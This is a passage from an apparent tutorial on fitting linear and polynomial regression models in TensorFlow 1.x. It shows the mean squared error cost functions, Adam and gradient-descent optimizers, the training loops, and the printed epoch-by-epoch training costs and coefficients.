<span class="n">deg5</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">d</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">e</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">f</span>
</code></pre>
</div>
<h3 id="cost-function">Cost Function</h3>
<p>We use the Mean Squared Error Function</p>
<div class="codehilite">
<pre><span></span><code><span class="n">mse1</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg1</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse2</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg2</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse3</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg3</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse4</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg4</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse5</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg5</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="optimizer">Optimizer</h3>
<p>We use the AdamOptimizer for the polynomial functions and GradientDescentOptimizer for the linear function</p>
<div class="codehilite">
<pre><span></span><code><span class="n">optimizer1</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">GradientDescentOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse1</span><span class="p">)</span>
<span class="n">optimizer2</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse2</span><span class="p">)</span>
<span class="n">optimizer3</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse3</span><span class="p">)</span>
<span class="n">optimizer4</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse4</span><span class="p">)</span>
<span class="n">optimizer5</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse5</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">init</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">global_variables_initializer</span><span class="p">()</span>
</code></pre>
</div>
<h2 id="model-predictions">Model Predictions</h2>
<p>For each type of equation first we make the model predict the values of the coefficient(s) and constant, once we get these values we use it to predict the Y
values using the X values. We then plot it to compare the actual data and predicted line.</p>
<h3 id="linear-equation">Linear Equation</h3>
<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
<span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer1</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse1</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Epoch"</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">": Training Cost:"</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">" a,b:"</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">))</span>
<span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse1</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err"> </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">88999125000.0</span><span class="na"> 180396.42 -478869.12</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
<span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">'ro'</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Original data'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Fitted line'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">'Linear Regression Result'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p><img src="/assets/gciTales/03-regression/2.png" alt="" /></p>
<h3 id="quadratic-equation">Quadratic Equation</h3>
<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
<span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer2</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse2</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Epoch"</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">": Training Cost:"</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">" a,b,c:"</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
<span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse2</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">coefficient2</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">52571360000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">1002.4456</span><span class="err"> </span><span class="nc">1097.0197</span><span class="err"> </span><span class="nc">1276.6921</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">37798890000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">1952.4263</span><span class="err"> </span><span class="nc">2130.2825</span><span class="err"> </span><span class="nc">2469.7756</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">26751185000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">2839.5825</span><span class="err"> </span><span class="nc">3081.6118</span><span class="err"> </span><span class="nc">3554.351</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">19020106000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">3644.56</span><span class="err"> </span><span class="nc">3922.9563</span><span class="err"> </span><span class="nc">4486.3135</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">14060446000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">4345.042</span><span class="err"> </span><span class="nc">4621.4233</span><span class="err"> </span><span class="nc">5212.693</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">11201084000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">4921.1855</span><span class="err"> </span><span class="nc">5148.1504</span><span class="err"> </span><span class="nc">5689.0713</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">9732740000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">5364.764</span><span class="err"> </span><span class="nc">5493.0156</span><span class="err"> </span><span class="nc">5906.754</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">9050918000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">5685.4067</span><span class="err"> </span><span class="nc">5673.182</span><span class="err"> </span><span class="nc">5902.0728</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8750394000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">5906.9814</span><span class="err"> </span><span class="nc">5724.8906</span><span class="err"> </span><span class="nc">5734.746</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8613128000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6057.3677</span><span class="err"> </span><span class="nc">5687.3364</span><span class="err"> </span><span class="nc">5461.167</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8540034600.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6160.547</span><span class="err"> </span><span class="nc">5592.3022</span><span class="err"> </span><span class="nc">5122.8633</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8490983000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6233.9175</span><span class="err"> </span><span class="nc">5462.025</span><span class="err"> </span><span class="nc">4747.111</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8450816500.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6289.048</span><span class="err"> </span><span class="nc">5310.7583</span><span class="err"> </span><span class="nc">4350.6997</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8414082000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6333.199</span><span class="err"> </span><span class="nc">5147.394</span><span class="err"> </span><span class="nc">3943.9294</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8378841600.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6370.7944</span><span class="err"> </span><span class="nc">4977.1704</span><span class="err"> </span><span class="nc">3532.476</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8344471000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6404.468</span><span class="err"> </span><span class="nc">4803.542</span><span class="err"> </span><span class="nc">3120.2087</span>
